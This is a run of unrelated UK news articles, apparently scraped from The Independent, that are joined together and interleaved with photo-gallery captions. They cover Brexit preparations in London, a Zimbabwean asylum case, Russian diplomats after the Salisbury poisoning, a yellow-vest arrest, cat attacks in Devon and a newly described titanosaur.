He added that the uncertainty was not necessarily the fault of the civil servants we work with. I think we are exasperated as we are.

Authorities in London are working to mitigate risks around potential protests and disruption to borders and food, energy and food supplies.

 Brexit: Theresa May dismisses claims she plans to extend Article 50 as something overheard in a bar

But Dr Twycross said that the chaotic situation in the government meant authorities have little information on what to prepare for and are making educated assessments.

If were not going to get additional detail until there is a parliamentary conclusion that presents a big risk, she told the London Assembly EU Exit Working Group.

Dr Twycross said instructions from government had only been modified very slightly since technical notices were sent out last year, despite a dramatic shift towards no deal.

My concern is that in some other [local authority] areas, people have been waiting until they get a stronger indication from government, she added.

They took as read that the government was confident that there would be a deal, and now its getting too late, and everyone is having to play catch-up.

Dr Twycross, a Labour assembly member, said some officials had feared speaking openly of risks around Brexit because they feared entering a political arena.

A representative of the NHS London coordination centre said that six weeks of medicine and equipment reserves had been built up nationally to mitigate any supply issues around Brexit.

He said no immediate impact on the NHS workforce was expected.

Working group chair Len Duvall concluded: We are planning for the worst case scenario but whatever happens in 44 days time is going to be chaotic.

A Ministry of Housing, Communities and Local Government spokesperson said: MHCLG is committed to working with local government and local leaders to ensure they are adequately prepared to respond to any Brexit scenario. The government remains confident that it will secure a good deal with the EU. Nevertheless, its only responsible to prepare for a number of scenarios.

We have pledged over 56m to councils to assist their Brexit preparations and are providing regular communications to local leaders so they are kept well-informed.A man who was threatened with deportation to Zimbabwe has been told he will not be forced to leave the UK after his case was highlighted by The Independent.

Victor Mujakachi initially came to Britain on a student visa in 2003. He sought asylum after a warrant was issued for his arrest in Zimbabwe after he wrote blog posts hostile to Robert Mugabes government.

Following a re-documentation interview in December where embassy officials asked for more information about him and his relatives in a bid to confirm his identity, the 58-year-old was threatened with deportation.

The 58-year-old said he was fearing for his life and he would not be spared by Zimbabwean authorities.

His deportation is believed to be part of an alleged agreement to repatriate thousands of failed asylum seekers to Zimbabwe in return for aid money. The Home Office did not deny the allegations.

Forgotten Women: Violence against women and girls in Zimbabwe Show all 12 1 /12 Forgotten Women: Violence against women and girls in Zimbabwe Forgotten Women: Violence against women and girls in Zimbabwe Agnes Agnes eloped at 16 after being persuaded by a 21-year-old to run away from home Forgotten Women: Violence against women and girls in Zimbabwe Agnes Agnes hopes to be a nurse when she's older Forgotten Women: Violence against women and girls in Zimbabwe Zimbabwe Women Lawyers Association Zimbabwe Women Lawyers Association (ZWLA) is a rights organisation that tries to help women navigate the justice system Forgotten Women: Violence against women and girls in Zimbabwe ZWLA Zimbabwe Women Lawyers Association (ZWLA) is a rights organisation that tries to help women navigate the justice system Forgotten Women: Violence against women and girls in Zimbabwe Sakhile Sakhile Titu is a school teacher who was supported by ZWLA to get a divorce after domestic violence Forgotten Women: Violence against women and girls in Zimbabwe Rosemary Rosemary Masina was supported by ZWLA to get a divorce after her husband abused her Forgotten Women: Violence against women and girls in Zimbabwe Matilda Matilda Dube was supported by ZWLA to get a Legal Protection Order after her husband abused her for 8 years Forgotten Women: Violence against women and girls in Zimbabwe Agnes, Susan and Perpetua Forgotten Women: Violence against women and girls in Zimbabwe Esebia and Agnes Esebia Honangombe aged 69 from Rusape rural was supported by ZWLA's Community Legal Educators after her granddaughter Agnes was pressured to marry a 21-year-old man and eloped at 16 Forgotten Women: Violence against women and girls in Zimbabwe Dorcas Dorcas Mpofu was supported by a ZWLA Community Legal Educator when her husband was violent and not supporting the family Forgotten Women: Violence against women and girls in Zimbabwe Dorcas and Rosemary Forgotten Women: Violence against women and girls in Zimbabwe Agnes Agnes hopes to be a nurse when she's older

Following coverage for his case in The Independent and more 7,500 signing a petition, Mr Mujukachis deportation has been delayed for three months.

However, he will remain detained at Morton Hall, an immigration removal centre in Lincoln.

Speaking from the centre shortly after finding out the news, Mr Mujukachi told The Independent: Its a huge relief. The papers were given to me on Monday and my last day here was meant be tomorrow. I was told deportation arrangements were being made for the 14th. Its been horrible."

He added: I'm very grateful to everyone. The publicity that has been generated since I was detained has gone global. People from all over the world have been signing the petition. But this brings me into the spotlight of the Zimbabwean government. Now they will be looking at me and Ill be a person of interest.

And Im deeply worried about my wife, who is in Zimbabwe now. The attention this has generated is bound to bring the focus on her. A way must be found to protect her.

He said he was planning to apply for bail and hoped this would be the beginning of the process of [his] release from detention.

His solicitor Kathryn Hodder said she welcomed the news and was grateful for the support for Mr Mujukachis case.

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She added: We will continue to work until Victor has international protection in the form of refugee status.

Gill Furniss, the Labour MP for Sheffield Brightside and Hillsborough, confirmed the news after intervening with the Home Office.

She pledged to continue working to get Mr Mujukachi released, adding: The outpouring of support for such a valued member of our community has been amazing and has played no small part in ensuring for now, Victor is safe. My team and I will be working over the coming weeks to help Victor return to his family and secure his future in Sheffield.

The Independent has contacted the Home Office for a comment.A man accused of running a clandestine restaurant from his Norfolk home is reportedly to face no legal sanction after council officials said there was no definitive evidence to back up the claim.

Orlando Williams was subject to an investigation after neighbours complained he had converted his seven-bed residential address in Norwich into a business.

A sign, similar in style to those commonly seen adorning the front of eateries and bearing the logo Orlandos next to a phone number and web address, had been hung on the front of the building.

Residents living nearby claimed menus and a flyer hailing the address as the home of Japanese BBQ and sushi had been posted through their letterboxes.

A council inspection of the property uncovered a bar and seating for 24 people.

Stunning photos of food by Anett Velsberg Show all 13 1 /13 Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg Stunning photos of food by Anett Velsberg

However, an email from Norwich City Council, thought to have been sent to neighbours last week, said the local authority had been unable to prove a restaurant had been operating at the home.

Planning permission is not required for the marketing of a site as a different use nor is it required for the setup of internal furniture, the message, seen by the Eastern Daily Press, said.

Orlando Williams has previously run a restaurant in Norwich (Eastern Daily Press)

In this case we do not have any definitive evidence that shows that the above address is operating as a restaurant.

Mr Williams, who had previously run a Japanese restaurant called Sakura in the city, has repeatedly denied he is operating a business from his home.

However, a Facebook page for the former restaurant now lists its location as Mr Williams home address in Earlham Road.

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All I do, I have my name on my house, he said in January. There is no restaurant there.

On Monday, a planning application to convert the property into a five-room bed and breakfast was approved by the council.

The Independent has contacted Norwich City Council for comment.Britain and Russia are discussing the prospect of replacing the diplomats that were expelled from the UK after the Salisbury Novichok attack, MPs have heard.

Theresa May expelled 23 Russian diplomats in response to the poisoning of former double agent Sergei Skripal and his daughter Yulia with the novichok in Salisbury.

Mother of three Dawn Sturgess also died in July who was later exposed to the same nerve agent.

Last March, The Independent spoke exclusively to Sir Tony Brenton, the UKs former ambassador to Russia, who said the diplomatic hostility between the Kremlin and the West will erode away within a few months, because both sides require a functioning relationship.

Now, prominent Kremlin critic Bill Browder has attacked Britain's government over what he perceived to be a lack of action since the attack, during an appearance before the Foreign Affairs Select Committee.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. 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Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

"What has happened? 23 diplomats were expelled from this country and nothing else. Nothing else," Mr Browder told the cross-party group of MPs. "The United States sanctioned people, and sanctioned Russia for using chemical weapons in Salisbury, and the chemical weapons attack didn't occur in the United States, it occurred in Great Britain.

"But this country has not done anything. By the way, there is now negotiations for 23 more Russian diplomats to return. So, in the end, with exception of this expulsion of diplomats, there have been no consequences for Russia committing an atrocity in Salisbury."

Conservative MP Bob Seely is pushing for legislation to force individuals such as lawyers, politicians and lobbyists who work for foreign governments, such as Russia, to declare and register their interests.

He asked Mr Browder - who supports his calls for a UK Foreign Agents Registration Act - where the information about the 23 diplomats had come from and if it was public knowledge.

"It was announced by the Russians that they are in negotiation with the British Government to replace those 23 diplomats," the American-born British financier revealed.

Mr Seely replied: "It sounds like there is a bit of messaging there from the Russians, isn't it?"

A pair of Russian nationals, identified by their aliases, Ruslan Boshirov and Alexander Petrov, have been accused of travelling to the UK to try to murder Mr Skripal with novichok last year.

It is believed they smeared the highly-toxic substance on the door handle of his home in the Wiltshire town.

Evidence gathered by intelligence agencies led the Government to conclude that the men were officers from the Russian military intelligence service, the GRU.

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They were caught on CCTV in Salisbury the day before the attack.

A counterfeit Nina Ricci perfume bottle is thought to have contained the substance. This is what Ms Sturgess handled. She subsequently fell ill at her home Amesbury, Wiltshire, and later died.

A Foreign and Commonwealth Office spokesman denied new diplomatic arrangements had been made.

He said: "No new arrangements will be agreed for the 23 diplomats expelled from the UK as a result of Russian activity in Salisbury. We have had a continuous dialogue with Russia about diplomatic visas since before the events in Salisbury. Visa exchanges for diplomatic staff continue within the usual constraints."

Additional reporting from agenciesA leading member of the UK yellow vests has been arrested after allegedly threatening a journalist at a protest in Manchester.

Greater Manchester Police said James Goddard Goddard was detained on Wednesday morning and taken into custody for questioning.

The 29-year-old, who is currently living in Altrincham, was later charged with assault and a public order offence.

"He has been bailed to appear at Manchester and Salford Magistrates Court on Wednesday 20 March," a spokesperson added.

Mr Goddard was already on bail over incidents in Westminster where the pro-Brexit yellow vests called Conservative MP Anna Soubry a traitor and followed her.

Police separate clashing Brexit protesters outside Parliament Show all 11 1 /11 Police separate clashing Brexit protesters outside Parliament Police separate clashing Brexit protesters outside Parliament Anti-Brexit protester Steve Bray (left) and a pro-Brexit protester argue as they demonstrate outside the Houses of Parliament Getty Images Police separate clashing Brexit protesters outside Parliament A pro-Brexit protester argues Getty Images Police separate clashing Brexit protesters outside Parliament Police surround the pro-Brexit protester after he confronted Steve Bray, a pro-European protester Getty Images Police separate clashing Brexit protesters outside Parliament A leave supporter is spoken to by a police officer as he argues with a remain supporter, Steve Bray, outside Parliament PA Police separate clashing Brexit protesters outside Parliament MPs in Parliament are to vote on Theresa May's Brexit deal next week after her December vote was called off in the face of a major defeat Getty Images Police separate clashing Brexit protesters outside Parliament A leave supporter is spoken to by a police officer PA Police separate clashing Brexit protesters outside Parliament Police look on as anti-Brexit protesters demonstrate outside the Houses of Parliament. Getty Images Police separate clashing Brexit protesters outside Parliament Police hold back a leave supporter PA Police separate clashing Brexit protesters outside Parliament A police officer speaks with anti-Brexit protester Steve Bray Getty Images Police separate clashing Brexit protesters outside Parliament Police surround a pro-Brexit protester after he confronted a pro-European protester Getty Images Police separate clashing Brexit protesters outside Parliament Conservative MP David Davies, wearing a gopro camera, speaks to anti-Brexit protester Steve Bray Getty Images

He was arrested at the start of a London protest on 12 January on suspicion of a public order offence by the Metropolitan Police.

Mr Goddard was banned from London under his bail conditions and is due to report to police on Tuesday.

He has been attending weekly yellow vest protests staged in other British towns and cities.

The group, which calls for a no-deal Brexit, formed in December and members have since verbally abused MPs, journalists and Remainers outside parliament, visited media and government offices and blocked London bridges.

Demonstrations have spread to cities including Manchester, Newport and Sheffield on Saturdays, emulating the French movement that has seen violence between demonstrators and police.

Mr Goddard was previously a vocal Tommy Robinson supporter and part of the Justice for Our Boys group, which claims a fatal drink-driving crash that killed three teenagers in London was a deliberate attack.

The self-declared patriots social media accounts show that he had voiced wishes to move to America and took advantage of EU freedom of movement to live and work in Spain.

James Goddard speaks to supporters after being released from Holborn Police Station on 12 January, 2019. (PA)

Mr Goddards activity with the yellow vests has caused his Facebook and Paypal pages to be taken down, while Twitter suspended his account last week.

He claims the group is not violent, but has repeatedly told police that he will give them a war in scuffles at protests.

Police have been monitoring the groups activities amid calls to stop them from protesting in Westminster, and officers from the governments counter-extremism Prevent programme visited Mr Goddards home on Christmas Eve.

He rejected Leicestershire Polices offer to give you support and keep you out of trouble and put footage of the incident online.A cat killer is alleged to have been targeting pets in a Devon town, with five found mutilated on the same street over 18 months.

Four cats have died following apparent attacks in Roundham Round, Paignton, since summer 2017. A fifth was left badly injured.

The RSPCA has launched an investigation into the really distressing incidents, which it said would've caused these poor cats to suffer.

One of the cats, named Taiyou, appeared to have had his genitals burned with a cigarette lighter in attack in November, reported Devon Live. He died last month of complications from the injuries, which police believe were inflicted in a "deliberate act".

"I first noticed when the owners brought them in that he had burnt, singed whiskers," said vet Chris Bamford, who examined Taiyou.

He told the BBC: "That's quite a common abusive injury that we see in cats and from that I then did a full examination and then once I lifted up the tail it was pretty nasty."

Wildlife photographer of the year Show all 26 1 /26 Wildlife photographer of the year Wildlife photographer of the year A polar bear's struggle - Highly Commended Justins whole body pained as he watched this starving polar bear at an abandoned hunter's camp, in the Canadian Arctic, slowly heave itself up to standing. With little, and thinning, ice to move around on, the bear is unable to search for food. Justin Hofman / Natural History Museum Wildlife photographer of the year Curious Encounter - Shortlisted Cristobal Serrano, Spain. Any close encounter with an animal in the vast wilderness of Antarctica happens by chance, so Cristobal was thrilled by this spontaneous meeting with a crabeater seal off of Cuverville Island, Antarctic Peninsula. These curious creatures are protected and, with few predators, thrive. Cristobal Serrano / Natural History Museum Wildlife photographer of the year Bond of brothers - Winner David Lloyd, New Zealand / UK. These two adult males, probably brothers, greeted and rubbed faces for 30 seconds before settling down. Most people never have the opportunity to witness such animal sentience, and David was honoured to have experienced and captured such a moment.The picture was taken in Ndutu, Serengeti, Tanzania. David Lloyd / Natural History Museum Wildlife photographer of the year Fox meets fox - Highly Commended Matthew Maran, UK. Matthew has been photographing foxes close to his home in north London for over a year and ever since spotting this street art had dreamt of capturing this image. After countless hours and many failed attempts his persistence paid off. Matthew Maran / Natural History Museum Wildlife photographer of the year Three Kings - Highly Commended Wim Van Den Heever, South Africa. Wim came across these king penguins on a beach in the Falkland Islands just as the sun was rising. They were caught up in a fascinating mating behaviour the two males were constantly moving around the female using their flippers to fend the other off. Wim Van Den Heever / Natural History Museum Wildlife photographer of the year One toy, three dogs - Highly Commended Bence Mate, Hungary. While adult African wild dogs are merciless killers, their pups are extremely cute and play all day long. Bence photographed these brothers in Mkuze, South Africa they all wanted to play with the leg of an impala and were trying to drag it in three different directions! Bence Mate / Natural History Museum Wildlife photographer of the year Clam Close-up - Shortlisted David Barrio, Spain. This macro-shot of an iridescent clam was taken in the Southern Red Sea, Marsa Alam, Egypt. These clams spend their lives embedded amongst stony corals, where they nest and grow. It took David some time to approach the clam, fearing it would sense his movements and snap shut! David Barrio / Natural History Museum Wildlife photographer of the year The Orphaned Beaver - Shortlisted Suzi Eszterhas, United States. A one-month-old orphaned North American beaver kit is held by a caretaker at the Sarvey Wildlife Care Center in Arlington, Washington. Luckily it was paired with a female beaver who took on the role of mother and they were later released into the wild. Suzi Eszterhas / Natural History Museum Wildlife photographer of the year Ice and Water - Shortlisted Audun Lie Dahl, Norway. The Brasvellbreen glacier moves southwards from one of the ice caps covering the Svalbard Archipelago, Norway. Where it meets the sea, the glacier wall is so high that only the waterfalls are visible, so Audun used a drone to capture this unique perspective Audun Lie Dahl / Natural History Museum Wildlife photographer of the year Teenager - Shortlisted Franco Banfi, Switzerland. Franco was free diving off Dominica in the Caribbean Sea when he witnessed this young male sperm whale trying to copulate with a female. Unfortunately for him her calf was always in the way and the frisky male had to continually chase off the troublesome calf. Franco Banfi / Natural History Museum Wildlife photographer of the year Resting Mountain Gorilla - Shortlisted David Lloyd. The baby gorilla clung to its mother whilst keeping a curious eye on David. He had been trekking in South Bwindi, Uganda, whenhe came across the whole family. Following them, they then stopped in a small clearing to relax and groom each other. David Lloyd / Natural History Museum Wildlife photographer of the year Painted Waterfall - Shorltisted Eduardo Blanco Mendizabal, Spain. When the sun beams through a hole in the rock at the foot of the La Foradada waterfall, Catalonia, Spain, it creates a beautiful pool of light. The rays appear to paint the spray of the waterfall and create a truly magical picture. Eduardo Blanco Mendizabal / Natural History Museum Wildlife photographer of the year The Extraction - Shortlisted Konstantin Shatenev, Russia. Every winter, hundreds of Steller's sea eagles migrate from Russia, to the relatively ice-free northeastern coast of Hokkaido, Japan. They hunt for fish among the ices floes and also scavenge, following the fishing boats to feed on any discards. Konstantin took his image from a boat as the eagles retrieved a dead fish thrown onto the ice. Konstantin Shatenev / Natural History Museum Wildlife photographer of the year Shy - Shortlisted Pedro Carrillo, Spain. The mesmerizing pattern of a beaded sand anemone beautifully frames a juvenile Clarkii clownfish in Lembehstrait, Sulawesi, Indonesia. Known as a 'nursery' anemone, it is often a temporary home for young clownfish until they find a more suitable host anemone for adulthood. Pedro Carrillo / Natural History Museum Wildlife photographer of the year Red, Silver and Black - Shortlisted TinMan Lee, USA. Tin was fortunate enough to be told about a fox den in Washington State, North America, which was home to a family of red, black and silver foxes. After days of waiting for good weather he was finally rewarded with this touching moment. Tin Man Lee / Natural History Museum Wildlife photographer of the year Isolated - Shortlisted Anna Henly, UK. Snapped from a helicopter, this isolated tree stands in a cultivated field on the edge of a tropical forest on Kauai, Hawaii. The manmade straight lines of the ploughed furrows are interrupted beautifully by natures more unruly wild pattern of tree branches. Anna Henly / Natural History Museum Wildlife photographer of the year Sound Asleep - Shortlisted Tony Wu, USA. This adult humpback whale balanced in mid-water, headon and sound asleep was photographed in Vavau, Kingdom of Tonga. The faint stream of bubbles, visible at the top, is coming from the whales two blowholes and was, in this instance, indicative of an extremely relaxed state. Tony Wu / Natural History Museum Wildlife photographer of the year All That Remains - Shortlisted Phil Jones, UK. A male orca had beached itself about a week before Phils visit to Sea Lion Island, Falkland Islands. Despite its huge size the shifting sands had almost covered the whole carcass and scavengers, such as this striated caracara, had started to move in. Phil Jones / Natural History Museum Wildlife photographer of the year Ambush - Shortlisted Federico Veronesi, Kenya. On a hot morning at the Chitake Springs, in Mana Pools National Park, Zimbabwe, Federico watched as an old lioness descended from the top of the riverbank. Shed been lying in wait to ambush any passing animals visiting a nearby waterhole further along the riverbed. Federico Veronesi / Natural History Museum Wildlife photographer of the year Gliding - Shortlisted Christian Vizl, Mexico. With conditions of perfect visibility and beautiful sunlight, Christian took this portrait of a nurse shark gliding through the ocean off the coast of Bimini in the Bahamas. Typically these sharks are found near sandy bottoms where they rest, so its rare to see them swimming. Christian Vizl / Natural History Museum Wildlife photographer of the year Otherworldly - Shortlisted A school of Munk's devil ray were feeding on plankton at night off the coast of Isla Espiritu Santo in Baja California, Mexico. Franco used the underwater lights from his boat and a long exposure to create this otherworldly image. Franco Banfi / Natural History Museum Wildlife photographer of the year The Bats Wake - Shortlisted Antonio Leiva Sanchez, Spain. After several months of field research into a little colony of greater mouse-eared bats in Sucs, Lleida, Spain, Antonio managed to capture this bat mid-flight. He used a technique of high speed photography with flashes combined with continuous light to create the wake. Antonio Leiva Sanchez / Natural History Museum Wildlife photographer of the year Under the Snow - Shortlisted Audren Morel, France. Unafraid of the snowy blizzard, this squirrel came to visit Audren as he was taking photographs of birds in the small Jura village of Les Fourgs, France. Impressed by the squirrels endurance, he made it the subject of the shoot. Audren Morel / Natural History Museum Wildlife photographer of the year Unique Bill - Shortlisted Rob Blanken, The Netherlands. The pied avocet has a unique and delicate bill, which it sweeps like a scythe, as it sifts for food in shallow brackish water. This stunning portrait was taken from a hide in the northern province of Friesland in The Netherlands. Rob Blanken / Natural History Museum Wildlife photographer of the year Family Portrait - Shortlisted Connor Stefanison, Canada. A great grey owl and her chicks sit in their nest in the broken top of a Douglas fir tree in Kamloops, Canada. They looked towards Connor only twice as he watched them during the nesting season from a tree hide 50 feet (15 metres) up. Connor Stefanison / Natural History Museum Wildlife photographer of the year A dog jumps to catch a disc during a dog frisbee competition in Poznan via REUTERS

Taiyous owners, Yvonne and Phil Harrison, said their other cat Ziggy was also attacked in summer 2017 and again in March 2018, when he died of his injuries.

Ms Harrison said it was heatbreaking to see her pets mutilated.

Somebody would have used their love of people and being so sociable to be able to capture them and do something that horrific to them, she added.

Another cat which lived in Roundham Round suffered crushed vertebra, which a vet said could not have been caused by a car, early last year. A fourth suffered devastating internal injuries just before Christmas.

An RSPCA spokeswoman told The Independent: These are really distressing incidents which are deeply upsetting for the owners and would've caused these poor cats to suffer.

We are concerned about these reports and would urge anyone with information to get in contact with us on our inspectorate appeal line on 0300 123 8018."

The suspected attacks have also been reported to Devon and Cornwall Police.

Feline Network, a Paignton-based cat rescue charity, has launched an online appeal to fund a reward. More than 1,250 has been raised so far to pay for information which leads to a conviction.

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In September, the Metropolitan Police closed a three-year investigation into hundreds of reported cat killings after determining the culprit was likely to have been foxes.

The force launched the probe in 2015 in response to fears about the so-called Croydon cat killer, who was said to have been targeting pets in the south London borough and beyond.

The hunt made headlines around the world before Scotland Yard concluded the animals had probably been run over by vehicles and mutilated by scavenging foxes.

But South Norwood Animal Rescue and Liberty, a shelter which had been involved in the police probe, disputed the Mets findings and vowed to continue investigating cat deaths.A new dinosaur with a heart-shaped bone in its tail has been discovered by scientists.

The plant-eating dinosaur was discovered in Africa and reportedly lived 100 million years ago.

It was also extremely large when it walked the Earth, as the dinosaur was a member of the titanosaurs - a classification of the largest animals to ever live - and weighed up to 20 tons.

Apart from its vast size, the 30-foot dinosaur also displayed another fascinating feature - heart-shaped bones in its tail.

Researchers named the dinosaur Mnyamawamtuka moyowamkia from Swahili for animal of the Mtuka and heart-shaped tail and joked that the animal wore its heart on its tail.

Dinosaurs in the Wild Show all 18 1 /18 Dinosaurs in the Wild Dinosaurs in the Wild Tyrannosaurus fighting an Ankylosaurus. These pictures come from Dinosaurs in the Wild, a Dinosaur safari in London Dinosaurs in the Wild Dinosaurs in the Wild A Mosasaur Prognathodon Dinosaurs in the Wild Dinosaurs in the Wild Timebase 67 and a Quetzalcoatlus Dinosaurs in the Wild Dinosaurs in the Wild Pair of Quetzalcoatlus Dinosaurs in the Wild Dinosaurs in the Wild Avisaurs riding a bull Triceratops Dinosaurs in the Wild Dinosaurs in the Wild A Herbivorous Thescelosaurus Dinosaurs in the Wild Dinosaurs in the Wild A female Alamosaurus Dinosaurs in the Wild Dinosaurs in the Wild Chronotex X90 with an Alamosaurus Dinosaurs in the Wild Dinosaurs in the Wild Tyrannosaurus and geyser Dinosaurs in the Wild Dinosaurs in the Wild Drinking Ankylosaurus Dinosaurs in the Wild Dinosaurs in the Wild Triceratops with a Chronotex X90 Dinosaurs in the Wild Dinosaurs in the Wild A Tyrannosaurus Dinosaurs in the Wild Dinosaurs in the Wild Dinosaurs in the Wild Dinosaurs in the Wild Dinosaurs in the Wild Dinosaurs in the Wild Dinosaurs in the Wild

